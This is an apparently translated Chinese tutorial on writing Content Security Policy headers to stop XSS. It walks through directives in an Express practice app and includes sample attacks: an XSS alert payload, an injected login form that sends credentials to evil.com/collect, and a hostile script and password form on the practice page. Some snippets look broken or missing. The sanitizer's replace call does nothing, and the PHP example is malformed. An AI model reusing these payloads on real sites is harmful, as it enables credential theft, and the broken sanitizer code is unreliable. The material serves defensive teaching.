内容安全策略 (CSP)

蔚落 2023-09-27 08:17 71阅读 0赞

了解 CSP、它的工作原理以及它为何如此出色。您将从头开始构建内容安全策略标头，并学习如何克服过程中的常见问题。让我们开始吧！

### **什么是内容安全策略 (CSP)？** ###

内容安全策略是一项出色的浏览器安全功能，可以防止[XSS（跨站脚本）][XSS]攻击。它还废弃了旧的[X-Frame-Options][]标头以防止跨站点框架攻击。

### **什么是 XSS 漏洞？** ###

当不受信任的数据在 Web 上下文中被解释为代码时，就会出现 XSS（跨站点脚本）漏洞。它们通常来自：

1.  不安全地生成 HTML（在没有正确编码的情况下进行参数化）。
2.  允许用户直接编辑 HTML（例如 WYSIWYG 编辑器）。
3.  允许用户上传 HTML/SVG 文件并以不安全的方式返回这些文件。
4.  允许用户设置链接的 HREF 属性。
5.  不安全地使用 JavaScript（将不受信任的数据传递到可执行函数/属性中）。
6.  使用过时且易受攻击的 JavaScript 包。

XSS 攻击通过例如创建恶意链接来利用这些漏洞，当用户打开链接时，这些链接会在目标用户的 Web 浏览器中注入并执行攻击者的 JavaScript 代码。

### **一个简单的例子** ###

这是一个易受 XSS 攻击的 PHP 脚本：

echo "<p>Search results for: " . $_GET('search') . "</p>"

它很容易受到攻击，因为它会不安全地生成 HTML。`search`参数*编码*不正确。攻击者可以创建如下链接，当目标打开它时，该链接将在网站上执行攻击者的 JavaScript 代码：

https://www.example.com/?search=
    <script>
      alert('XSS')
    </script>

打开链接会在用户的浏览器中呈现以下 HTML：

<p>
      Search results for:
      <script>
        alert('XSS')
      </script>
    </p>

### **为什么 XSS 漏洞如此危险？** ###

有时有一种误解，认为 XSS 漏洞是低严重性错误。他们不是。在其他人的浏览器中执行网站上的 JavaScript 代码的能力相当于登录到托管服务器并为受影响的用户更改 HTML 文件。

因此，XSS 攻击有效地使攻击者以目标用户身份登录，此外还欺骗用户向攻击者提供一些信息（例如他们的密码），或者可能在用户的工作站上下载和执行恶意软件。

而且 XSS 漏洞并不只影响个人用户。存储型 XSS 会影响访问受感染页面的每个人，而反射型 XSS 通常会\[像野火一样传播\] ( [https://en.wikipedia.org/wiki/Samy\_(computer\_worm))][https_en.wikipedia.org_wiki_Samy_computer_worm]。

### **CSP 如何防御 XSS 攻击？** ###

CSP 通过以下方式非常有效地防御 XSS 攻击。

#### 1. 限制内联脚本 ####

通过阻止页面执行内联脚本，像注入这样的攻击

不管用。

#### 2. 限制远程脚本 ####

通过阻止页面从任意服务器加载脚本，像注入这样的攻击

不管用。

#### 3.限制不安全的Javascript ####

通过阻止页面执行 text-to-JavaScript 函数（也称为[DOM-XSS sinks][]），您的网站将被迫免受以下漏洞的影响。

// A Simple Calculator
    var op1 = getUrlParameter('op1')
    var op2 = getUrlParameter('op2')
    var sum = eval(`${op1} + ${op2}`)
    console.log(`The sum is: ${sum}`)

#### 4. 限制表单提交 ####

通过限制您网站上的 HTML 表单可以提交其数据的位置，像下面这样注入网络钓鱼表单也不起作用。

<form method="POST" action="https://evil.com/collect">
      <h3>Session expired! Please login again.</h3>
      <label>Username</label>
      <input type="text" name="username" />
    
      <label>Password</label>
      <input type="password" name="pass" />
    
      <input type="Submit" value="Login" />
    </form>

#### 5.限制对象 ####

通过限制 HTML[对象][Link 1]标签，攻击者也无法`<object>`在页面上注入标签（可以执行 JavaScript 代码）。

#### 6.限制基础URI ####

通过限制`<base>`在页面上插入标签的方式，您将防止攻击者更改页面的基本 URI，这可能导致 JavaScript 从攻击者的服务器加载。

### **我该如何使用它？** ###

您可以通过两种方式在您的网站上实施内容安全策略。

#### 1. Content-Security-Policy 标头 ####

从您的 Web 服务器发送 Content-Security-Policy HTTP 响应标头。

Content-Security-Policy: ...

首选使用标头并支持完整的 CSP 功能集。在所有 HTTP 响应中发送它，而不仅仅是索引页面。

#### 2. Content-Security-Policy 元标记 ####

有时您不能使用 Content-Security-Policy 标头。一个例子是，当您在 CDN 中部署 HTML 文件时，标题不受您的控制。

在这种情况下，您仍然可以通过在 HTML 标记中指定元标记来使用 CSP。

仍然支持几乎所有内容，包括完整的 XSS 防御。但是，您将无法使用[框架保护][Link 2]、[沙盒][Link 3]或[CSP 违规日志记录端点][CSP]。

### **制定您的政策** ###

是时候构建我们的内容安全策略标头了！我创建了一个小 HTML 文档供我们练习。如果你想跟随，请 fork[这个 CodeSandbox][CodeSandbox]，然后打开页面 URL（例如[Sandbox - CodeSandbox][] ，然后在 Google Chrome 浏览器中

这是 HTML：

<html>
      <head>
        <title>CSP Practice</title>
        <link rel="stylesheet" href="/stylesheets/style.css" />
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
      </head>
    
      <body>
        <h1>CSP Practice</h1>
        <script>
          console.log("Inline script attack succeeded.");
        </script>
        <script src="https://www.appsecmonkey.com/evil.js"></script>
        <script src="https://www.google-analytics.com/analytics.js"></script>
        <script
                  src="https://code.jquery.com/jquery-1.12.4.js">
        </script>
        <h3>Cat fact: <span id="cat-fact"></h3>
        <script>
          $( document ).ready(function() {
            $.ajax({
                url: "https://cat-fact.herokuapp.com/facts/random",
                type: "GET",
                crossDomain: true,
                success: function (response) {
                    var catFact = response.text;
                    $('#cat-fact').text(catFact);
                },
                error: function (xhr, status) {
                    alert("error");
                }
            });
            console.log(`Good script with jQuery succeeded`);
          });
        </script>
        <img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
        AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
            9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
            <br/>
        <form method="POST" action="https://www.appsecmonkey.com/evil">
          <label>Session expired, enter password to continue.</label>
          <br/>
          <input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
          <input type="submit" value="Submit"/>
        </form>
      </body>
    </html>

我们还有`app.js`一个微型快递应用程序来设置`Content-Security-Policy`标题。现在，它正在发送一个空的 CSP，它什么都不做。

var express = require('express')
    
    var app = express()
    const csp = ''
    
    app.use(
      express.static('public', {
        setHeaders: function (res, path) {
          res.set('Content-Security-Policy', csp)
        },
      })
    )
    var listener = app.listen(8080, function () {
      console.log('Listening on port ' + listener.address().port)
    })

![6feaef168d234e80af125fc725c39658.webp][]

如果您查看控制台，则会显示几条消息。

Inline script attack succeeded.
    Sourced script attack succeeded.
    Good script with jQuery succeeded

在这一点上，CSP 头没有做任何事情，所以一切，无论好坏，都是允许的。您还可以确认在密码网络钓鱼表单中点击“提交”按预期工作（“密码”被发送到 appsecmonkey.com）。

伟大的。让我们开始添加安全性。

#### 默认源 ####

[default-src][]是您要添加的第一个指令。如果您没有明确指定它们，它是许多其他指令的后备。

首先设置`default-src`为`'none'`。单引号是强制性的。如果你只写`none`没有单引号，它会引用一个带有 URL 的网站`none`，这可能不是你想要的。

let defaultSrc = "default-src 'none'"
    const csp = [defaultSrc].join(';')

Content-Security-Policy: default-src 'none'

现在重新启动服务器（左侧有一个机架服务器图标，显示该选项）。正如预期的那样，一切都被打破了。

![8982d73993a7403383b1379f22f4fc10.webp][]

打开 Chrome 开发者工具，你会发现里面充满了 CSP 违规错误。

![ab0a9dc1c1684b9088f986e12b7c2cac.webp][]

> **注意** 您可能会看到 CodeSandbox 客户端挂钩“ [https://sse-0.codesandbox.io/client-hook-5.js”][https_sse-0.codesandbox.io_client-hook-5.js]的违规行为。忽略这些。

该页面现在已完全损坏，但也很安全。嗯，几乎是安全的。网络钓鱼表单仍然有效，因为该`default-src`指令不涵盖该`form-action`指令。让我们接下来解决这个问题。

#### 形式-动作 ####

[form-action][]规定了网站可以提交表单的位置。为了防止密码钓鱼表单起作用，让我们像这样更改 CSP。

let defaultSrc = "default-src 'none'"
    let formAction = "form-action 'self'"
    const csp = [defaultSrc, formAction].join(';')

Content-Security-Policy: default-src 'none';form-action 'self'

刷新页面，并通过尝试提交表单来验证它是否有效。

> ❌ 拒绝将表单数据发送到“ [https://www.appsecmonkey.com/evil”][https_www.appsecmonkey.com_evil]，因为它违反了以下内容安全策略指令：“form-action 'self'”。

美丽的。按预期工作。

#### 框架祖先 ####

在稍微放宽政策以使我们的页面正确加载之前，让我们再添加一个限制。也就是说，让我们通过将[frame-ancestors][Link 2]设置为来防止其他页面陷害我们`'none'`。

let frameAncestors = "frame-ancestors 'none'"
    const csp = [defaultSrc, formAction, frameAncestors].join(';')

Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none'

如果您检查 CodeSandbox 浏览器，您将看到它无法再在框架中显示您的页面。从这里开始，将您的沙盒网站的 URL 复制到另一个可以查看的选项卡中。

![8c17c78fc28143a6b203a301a7172c41.webp][]

好吧。否认就够了。接下来让我们允许一些事情。

#### 样式-src ####

查看控制台，第一个违规行为是：

> ❌ 拒绝加载样式表“ [https://lqil3.sse.codesandbox.io/stylesheets/style.css”][https_lqil3.sse.codesandbox.io_stylesheets_style.css]，因为它违反了以下内容安全策略指令：“default-src 'none'”。请注意，'style-src-elem' 没有明确设置，所以 'default-src' 用作后备。

> ❌ 拒绝加载样式表' [https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap'][https_fonts.googleapis.com_css2_family_Roboto_wght_100_display_swap]，因为它违反了以下内容安全策略指令：“style-src 'self'”。请注意，'style-src-elem' 没有显式设置，因此 'style-src' 用作后备。

您可以使用[style-src][]指令解决此问题，允许样式表从同一来源和 google 字体加载。

...
    let styleSrc = "style-src";
    styleSrc += " 'self'";
    styleSrc += " https://fonts.googleapis.com/";
    const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");

Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/

刷新页面，哇！这样的风格。

![60a3a2521f58423cae20c7b073508b54.webp][]

让我们继续讨论图像。

#### img-src ####

而不是美丽的红点，我们有以下错误：

> ❌ 拒绝加载图像 'data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg=='，因为它违反了以下内容安全策略指令：“default-src.'none 请注意，'img-src' 没有显式设置，所以 'default-src' 用作后备

我们可以像这样使用[img-src][]指令修复我们的图像。

let imgSrc = 'img-src'
    imgSrc += " 'self'"
    imgSrc += ' data:'
    const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(';')

Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/;img-src 'self' data:

我们允许来自我们自己来源的图像。我们还允许使用数据 URL，因为它们在优化的网站中很常见。

刷新页面，然后……是的！尽显荣耀的红点。

![f1f12c8c7c684942a1228e8a52db18a0.webp][]

如果您允许来自任何 URL 的图像，那么攻击者就有可能通过[悬空标记攻击][Link 4]绕过您的 CSP 。

#### 字体源 ####

至于我们的字体，我们有以下错误。

> ❌ 拒绝加载字体“ [https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2”][https_fonts.gstatic.com_s_roboto_v20_KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2]，因为它违反了以下内容安全策略指令：“default-src 'none'”。请注意，'font-src' 没有明确设置，所以 'default-src' 用作后备

[我们可以通过添加font-src][font-src]指令使其消失，如下所示：

let fontSrc = 'font-src'
    fontSrc += ' https://fonts.gstatic.com/'
    const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(';')

Content-Security-Policy: default-src 'none';form-action 'self';frame-ancestors 'none';style-src'self' https://fonts.googleapis.com/;img-src 'self' data:;font-src https://fonts.gstatic.com/

#### 脚本源 ####

好吧，现在它变得真实了。[script-src][]可以说是 CSP 存在的主要原因，在这里我们可以制定或破坏我们的策略。

让我们看看例外情况。第一个是“攻击者”的内联脚本。我们不想通过任何指令来允许它，所以让我们继续阻止它。

> ❌ 拒绝执行内联脚本，因为它违反了以下内容安全策略指令：“default-src 'none'”。启用内联执行需要“unsafe-inline”关键字、哈希（“sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k=”）或随机数（“nonce-...”）。请注意，'script-src' 没有显式设置，因此 'default-src' 用作后备。

第二个是攻击者的源脚本。让我们继续阻止这个。

> ❌ 拒绝加载脚本“ [https://www.appsecmonkey.com/evil.js”][https_www.appsecmonkey.com_evil.js]，因为它违反了以下内容安全策略指令：“default-src 'none'”。请注意，'script-src-elem' 没有显式设置，因此 'default-src' 用作后备。

然后是我们想要允许的谷歌分析。

> ❌ 拒绝加载脚本“ [https://www.google-analytics.com/analytics.js”][https_www.google-analytics.com_analytics.js]，因为它违反了以下内容安全策略指令：“default-src 'none'”。请注意，'script-src-elem' 没有显式设置，因此 'default-src' 用作后备。

我们还希望允许使用 jQuery。

> ❌ 拒绝加载脚本“ [https://code.jquery.com/jquery-1.12.4.js”][https_code.jquery.com_jquery-1.12.4.js]，因为它违反了以下内容安全策略指令：“default-src 'none'”。请注意，'script-src-elem' 没有显式设置，因此 'default-src' 用作后备。

最后，我们要允许获取猫事实的脚本。

> ❌ 拒绝执行内联脚本，因为它违反了以下内容安全策略指令：“default-src 'none'”。启用内联执行需要“unsafe-inline”关键字、哈希（“sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE=”）或随机数（“nonce-...”）。另请注意，'script-src' 未明确设置，因此 'default-src' 用作后备。

让我们从简单的开始。通过将 Google 分析和 jQuery URL 添加到我们的政策中，我们可以摆脱这两种违规行为。此外，添加“self”以准备下一步（将 cat 事实脚本重构为单独的 JavaScript 文件）。

let scriptSrc = 'script-src'
    scriptSrc += " 'self'"
    scriptSrc += ' https://www.google-analytics.com/analytics.js'
    scriptSrc += ' https://code.jquery.com/jquery-1.12.4.js'
    const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(';')

处理内联脚本的首选方法是将它们重构为自己的 JavaScript 文件。所以删除 cat 事实脚本标签并将其替换为以下内容：

...
    <h3>Cat fact: <span id="cat-fact"></h3>
    <script src="/javascripts/cat-facts.js"></script>
    ...

并将脚本的内容移动到`javascripts/cat-facts.js`如下所示：

![9a1984af772c4a2f914e23644a248f2e.webp][]

$(document).ready(function () {
      $.ajax({
        url: 'https://cat-fact.herokuapp.com/facts/random',
        type: 'GET',
        crossDomain: true,
        success: function (response) {
          var catFact = response.text
          $('#cat-fact').text(catFact)
        },
        error: function (xhr, status) {
          alert('error')
        },
      })
      console.log(`Good script with jQuery succeeded`)
    })

现在刷新，然后......真可惜。在我们获胜之前再处理一次违规行为！

#### 连接源 ####

> ❌ 拒绝连接到“ [https://cat-fact.herokuapp.com/facts/random”][https_cat-fact.herokuapp.com_facts_random]，因为它违反了以下内容安全策略指令......

[connect-src][]指令限制网站可以连接的位置。目前，它阻止我们获取猫的事实。让我们修复它。

let connectSrc = 'connect-src'
    connectSrc += ' https://cat-fact.herokuapp.com/facts/random'
    const csp = [
      defaultSrc,
      formAction,
      frameAncestors,
      styleSrc,
      imgSrc,
      fontSrc,
      scriptSrc,
      connectSrc,
    ].join(';')

刷新页面。呸！该页面有效，而攻击则无效。[你可以在这里][Link 5]尝试完成的网站。这是我们想出的：

Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random

让我们将它插入[Google 的 CSP 评估器][Google _ CSP]，看看我们是怎么做的。

![6da17a8ad2dd49de97eef578331cb060.webp][]

非常好。中的黄色`script-src`是因为我们使用了“self”，例如，如果您托管用户提交的内容，这可能会出现问题。

但这是一个阳光灿烂的日子，我们能够重构代码并摆脱内联脚本和危险的函数调用。现在让我们看看当您被迫使用一个使用 eval 的 JavaScript 框架或当您需要在 HTML 中包含内联脚本时，您可以做些什么。

### **脚本-src：哈希** ###

假设您无法摆脱内联 JavaScript。从内容安全策略版本 2 开始，您可以使用`script-src 'sha256-<hash>'`允许执行具有特定哈希的脚本。浏览器很好地支持随机数和散列；有关详细信息的兼容性，请参见[此处][Link 6]。无论如何，只要您正确使用 CSP，它就是向后兼容的。

您可以通过分叉[此 CodeSandbox][CodeSandbox 1]来跟进。和之前的情况一样，但是这次我们不会将内联脚本重构为自己的文件。相反，我们会将其哈希添加到我们的策略中。

您可以手动获取 SHA256 哈希，但要正确设置空格和格式是很棘手的。幸运的是，您可能已经注意到，Chrome 开发者工具为我们提供了哈希值。

> ❌ 拒绝执行内联脚本，因为它违反了以下内容安全策略指令：“script-src 'self' [https://www.google-analytics.com/analytics.js ][https_www.google-analytics.com_analytics.js 1][https://code.jquery.com/jquery- 1.12.4.js”][https_code.jquery.com_jquery- 1.12.4.js]。启用内联执行需要“unsafe-inline”关键字、哈希（**“sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg=”**）或随机数（“nonce-...”）。

因此，让我们将该哈希添加到我们的策略中，页面将再次运行。

...
    scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
    scriptSrc += " 'unsafe-inline'";
    ...

我们还必须添加`unsafe-inline`向后兼容性。不用担心; 对于支持 CSP 级别 2 的浏览器，如果存在散列或随机数，浏览器会忽略它。

> **注意** 使用散列通常不是一个很好的方法。如果您更改脚本标签内的*任何内容*（甚至是空格），例如通过格式化您的代码，散列值将会不同，并且脚本不会呈现。这一步应该在您的构建管道中自动化，以使其可靠地工作。

### **脚本源代码：nonce** ###

允许特定内联脚本的第二种方法是使用[nonce][script-src]。它稍微复杂一些，但您不必担心格式化代码。

随机数是您为每个 HTTP 响应生成的唯一一次性随机值，并添加到 Content-Security-Policy 标头中，如下所示：

const nonce = uuid.v4()
    scriptSrc += ` 'nonce-${nonce}'`

然后，您可以将此 nonce 传递给您的视图（使用 nonce 需要非静态 HTML）并呈现如下所示的脚本标签：

Fork[这个 CodeSandbox][CodeSandbox 2]来玩弄我用 nonces 和 EJS 视图引擎创建的解决方案。

> **警告** 不要创建用“script nonce=...”替换所有脚本标签的中间件，因为攻击者注入的脚本也会获得 nonce。您需要一个实际的 HTML 模板引擎来使用 nonce。

#### 脚本源代码：'不安全评估' ####

如果您自己的代码或页面上的依赖项使用 text-to-JavaScript 函数，例如`eval`，您可能会遇到这样的警告。

> ❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because'unsafe-eval' is not a allowed source of script in the following Content Security Policy directive: "script-src 'self' [https://www.google-analytics.com /analytics.js ][https_www.google-analytics.com_analytics.js 1][https://code.jquery.com/jquery-1.12.4.js”][https_code.jquery.com_jquery- 1.12.4.js]。

如果是您自己的代码，请将其重构为不使用`eval`. 如果它是依赖项，请查阅其文档以查看更新的版本或使用它的某些特定方式是否与安全内容安全策略标头兼容。

如果没有，您必须将[unsafe-eval][]关键字添加到您的`script-src`. 这不是世界末日，但您将失去 CSP 的 DOM-XSS 保护。

scriptSrc += " 'unsafe-eval'" // cut my life into pieces this is my last resort

[将来，内容安全策略级别 3][3]的情况会有所改善，这使您可以更好地控制 DOM-XSS 接收器功能等。当浏览器开始正确支持它时，我将更新本指南。

#### 基地 ####

将以下内容添加到您的 CSP 以防止使用`<base>`标签绕过：

base-uri 'none'

#### 对象源 ####

将以下内容添加到您的 CSP 以防止使用`<object>`标签绕过：

object-src 'none'

#### 仅报告模式 ####

首次将 CSP 部署到生产环境可能会令人恐惧。您可以从[Content-Security-Policy-Report-Only][]标头开始，它将违规打印到控制台但不会强制执行。然后使用不同的浏览器进行所有您想要的测试，并最终部署强制标头。

#### CSP 工具 ####

我们的 CSP 工具可用于快速、轻松地生成内容安全策略 (CSPv2) 标头。[你可以在这里][Link 7]试试。

![cd5b4473ec234785829d00ac5d2c4bf1.webp][]

### **CSP 3 级** ###

随着[CSP 3 级][3]的出现，我们有了一些很酷的特性。苹果花了该死的时间在 Safari 中实现它们，但最终，截至 2022 年 3 月 15 日，我们实际上可以问心无愧地使用它们！以前，我们不得不把 Safari 用户扔到车底下。

有关 CSP 浏览器支持的最新状态，请参阅[此页面][Link 8]。

#### 严格动态 ####

上面的示例非常简单，因此我们可以毫无问题地使用 CSP 2 级策略。但是对于一个大网站，它可能会成为一个巨大的麻烦，导致 CSP 可能会填满一堵墙。脚本 X 可以加载另外两个脚本，Y 和 Z，它们仍然可以加载更多脚本。而且您必须明确允许每个脚本，同时尝试保持足够严格的 CSP 以避免绕过漏洞。而且您的列表中的脚本越多，您就越需要祈祷其他脚本加载的脚本不会突然改变并破坏您的网站。无法忍受。

严动态救援！该`strict-dynamic`关键字允许我们将信任传播到由我们已经使用哈希或随机数信任的脚本加载的所有脚本。迷人的。

让我们试试看。[此处][Link 9]的 CodeSandbox创建一个 CSP，如下所示：

let scriptSrc = 'script-src'
    scriptSrc += ` 'nonce-${nonce}'`

因此，除了带有 nonce 的脚本外，我们什么都不允许。我们的视图如下所示：

并且`test.js`是一个加载另外三个脚本的脚本：

function dynamicallyLoadScript(url) {
      var script = document.createElement('script')
      script.src = url
      document.head.appendChild(script)
    }
    
    dynamicallyLoadScript('https://code.jquery.com/jquery-3.6.0.min.js')
    dynamicallyLoadScript('https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css')
    dynamicallyLoadScript('https://d3js.org/d3.v6.min.js')

如果我们在 Firefox 中打开此页面，我们会收到以下错误：

> [❌ 内容安全策略：该页面的设置阻止了在https://code.jquery.com/jquery-3.6.0.min.js（“script-src][_https_code.jquery.com_jquery-3.6.0.min.js_script-src] ”）加载资源。test.js:5:16

> [❌ 内容安全策略：该页面的设置阻止了在https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css（“script-src][_https_cdn.jsdelivr.net_npm_bootstrap_4.6.0_dist_css_bootstrap.min.css_script-src] ”）加载资源。test.js:5:16

> [❌ 内容安全策略：该页面的设置阻止了在https://d3js.org/d3.v6.min.js（“script-src][_https_d3js.org_d3.v6.min.js_script-src] ”）加载资源。test.js:5:16

现在[这里][Link 10]是另一个 CodeSandbox。这次我们在我们的`script-src`like中添加了一个东西：

let scriptSrc = 'script-src'
    scriptSrc += ` 'nonce-${nonce}'`
    scriptSrc += " 'strict-dynamic'" // Propagate trust to scripts loaded by already trusted scripts

现在，如果我们加载[页面][Link 10]，我们可以看到错误消失了，因为这`'strict-dynamic'`意味着`test.js`已经被 nonce 信任的脚本被允许将该信任传播到它加载的任何脚本。

但是，如果我们在还不支持严格动态的浏览器（例如 Safari 15.3 或更早版本）中打开此页面怎么办？

> ❌ \[错误\]拒绝加载[https://code.jquery.com/jquery-3.6.0.min.js][_https_code.jquery.com_jquery-3.6.0.min.js_script-src]，因为它没有出现在内容安全策略的 script-src 指令中。

> ❌ \[错误\]拒绝加载[https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css][_https_cdn.jsdelivr.net_npm_bootstrap_4.6.0_dist_css_bootstrap.min.css_script-src]因为它没有出现在内容安全策略的 script-src 指令中.

> ❌ \[错误\]拒绝加载[https://d3js.org/d3.v6.min.js][_https_d3js.org_d3.v6.min.js_script-src]，因为它没有出现在内容安全策略的 script-src 指令中。

脚本不会加载，因为 Safari 15.3 还不支持`strict-dynamic`。所以我们需要做的是为 Safari 用户添加一个后备，以允许从*任何地方*通过 HTTPS 加载脚本。

let scriptSrc = 'script-src'
    scriptSrc += ` 'nonce-${nonce}'`
    scriptSrc += ` https:`
    scriptSrc += " 'strict-dynamic'"

现在最新的 Safari 支持严格动态，我衷心推荐你使用它，`https:`为过时的浏览器添加后备。

[这个 CodeSandbox][CodeSandbox 3]在所有最新的主流浏览器上都是安全的，它也不会在过时的浏览器上破坏[网站。][Link 11]

#### 不安全的哈希 ####

该`'unsafe-hashes'`指令允许 DOM 事件处理程序执行在`script-src`.

例如，我们可以`alert("hello")`通过 \`script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk=' 来允许。

let scriptSrc = 'script-src'
    scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`

现在我们可以把它放在网站上，它会起作用：

但是，这不适用于大多数浏览器。

<button onClick='alert("hello")'>Hello</button>

让我们在 Chrome 中尝试一下：

> ❌ 拒绝执行内联事件处理程序，因为它违反了以下内容安全策略指令：“script-src 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='”。

现在让我们添加`'unsafe-hashes'`选项。

let scriptSrc = 'script-src'
    scriptSrc += ` 'sha256-15xTQOuF/OesomfBHh+sYeg4tGStBBWrw6CRoP9zLjk='`
    scriptSrc += ` 'unsafe-hashes'`

现在脚本在单击按钮时执行。你可以[在这里][Link 12]尝试或 fork CodeSandbox 在[这里玩][Link 13]

不安全哈希安全注意事项

该指令带有前缀的原因`unsafe-`是它允许 XSS 攻击调用任何已使用哈希列入白名单的函数。

假设有一个如下所示的 UI：

<h1>Account Settings</h1>
    <button id="btnDeleteAccount" onClick="deleteAccount();">DELETE YOUR ACCOUNT</button>

并且开发人员已将`deleteAccount()`哈希列入白名单`script-src`：

scriptSrc += " 'sha256-nh5C95kYk07xMaWT0ZEbfCqzCKDC1cpLP0hF+hqkYN4='"

现在攻击者可以做的是注入一个 XSS 有效载荷，如下所示：

并且用户的帐户将被删除。

出于这个原因，最好删除此类内联事件处理程序并将处理程序附加到受信任的 JavaScript 代码中，如下所示：

document.getElementById('btnDeleteAccount').addEventListener('click', function () {
      deleteAccount()
    })

不安全哈希浏览器支持

正如您[在此处][Link 14]看到的，浏览器支持`unsafe-hashes`仍在等待 Firefox，因此我们还不能真正依赖此功能。也没有明智的后备选项。

#### 脚本-src-elem & 脚本-src-attr ####

从 CSP 级别 3 开始，该`script-src`指令已分为两部分：`script-src-elem`和`script-src-attr`. 这为您提供了更精细的控制，因为现在您可以使用`script-src-elem`来限制`script`标签和`script-src-attr`限制内联事件处理程序。

[Firefox 或 Safari也不支持][Firefox _ Safari]这些，尽管 Safari 已经在预览中。

#### 受信任类型和要求受信任类型 ####

现在，这是一个有趣的功能。受信任的类型使您可以在以特定方式创建输入时允许注入接收器。注入水槽到底是什么鬼？忍受我。我们将很快介绍一个示例。

注入水槽

注入接收器是指在使用不受信任的数据调用时将直接导致 JavaScript 代码执行的函数和属性。其中包括允许攻击者直接修改 HTML 的 HTML 注入接收器，以及*允许*攻击者执行任意 JavaScript 代码的*DOM XSS 注入接收器。*`element.innerHTMLeval()`

可信类型

[可信类型][Link 15]是一种 API，它允许应用程序锁定强大的 API 以仅接受不可欺骗的类型值代替字符串，以防止将这些 API 与攻击者控制的输入一起使用而导致漏洞。`require-trusted-types-for`它以and`trusted-types`指令的形式与 CSP 集成。

创建策略

该`require-trusted-types-for`指令告诉浏览器不允许 JavaScript 代码使用任何归类为注入接收器的函数或属性，*除非*用于调用函数或属性的输入类型是受*信任**的类型*。

[这][Link 16]是具有以下策略的示例：

let scriptSrc = 'script-src '
    scriptSrc += " 'self'"
    scriptSrc += " 'unsafe-inline'"
    let requireTrustedTypesFor = 'require-trusted-types-for'
    requireTrustedTypesFor += " 'script'"

目前，您可以提供的唯一值`require-trusted-types-for`是`script`.

然后我们让这个 HTML 文件加载一个脚本：

内容`test.js`如下：

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
    document.getElementById('htmlOutput').innerHTML = payload

现在如果我们在 Firefox 中加载还不支持可信类型的页面，“攻击”将会成功（因为我们指定了`unsafe-inline`）。您可以通过在 Firefox 中打开[此页面][Link 17]并单击“CLICK ME”文本来验证这一点。

但是，如果我们将它加载到支持受信任类型的 Google Chrome 中，则会*启动*并`require-trusted-types-for`阻止`.innerHTML()`调用。

> ❌ test.js:2 未捕获的类型错误：无法在“元素”上设置“innerHTML”属性：此文档需要“TrustedHTML”分配。

现在是施展魔法的时候了。我们将定义一个名为的策略`my-policy`，我们可以使用它来创建受信任的类型。首先让我们修复我们的 CSP 标头以允许该策略。这就是`trusted-types`指令的用武之地。

let requireTrustedTypesFor = 'require-trusted-types-for'
    requireTrustedTypesFor += " 'script'"
    let trustedTypes = 'trusted-types'
    trustedTypes += ' my-policy'

我们的想法是，我们只允许调用一个策略`my-policy`，并且在攻击者有机会运行任何漏洞利用之前，我们在 JavaScript 代码中定义它（策略一旦创建就无法更改）。

现在让我们打开`test.js`，定义我们的策略并开始使用它！

// Define a sanitizer function
    const mySanitize = (dirty) => dirty.replace(/</g, '<')
    
    // Define the policy, name it my-policy and make it call the sanitizer function in createHTML
    // We also check if window.trustedTypes is defined to avoid errors on e.g. Firefox or Safari
    const myPolicy =
      window.trustedTypes &&
      window.trustedTypes.createPolicy('my-policy', {
        createHTML(dirty) {
          return mySanitize(dirty)
        },
      })
    
    let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
    
    if (myPolicy) {
      // If trusted types supported, we call the policy's createHTML function to return a trusted type
      payload = myPolicy.createHTML(payload)
    } else {
      // If not then we sanitize anyway calling the sanitizer directly
      payload = mySanitize(payload)
    }
    
    document.getElementById('htmlOutput').innerHTML = payload

这个简单的策略对任何字符进行 HTML 编码`<`，使 XSS 攻击更加困难。这不是一个很好的策略，但对于我们的示例来说已经足够了。

现在该页面将在 Firefox 和 Chrome 上加载，通过 Chrome 将强制执行受信任的类型，而 Firefox 则不会。您可以[在这里尝试或在][Link 18][此处][Link 19]分叉 CodeSandbox

更有用的政策

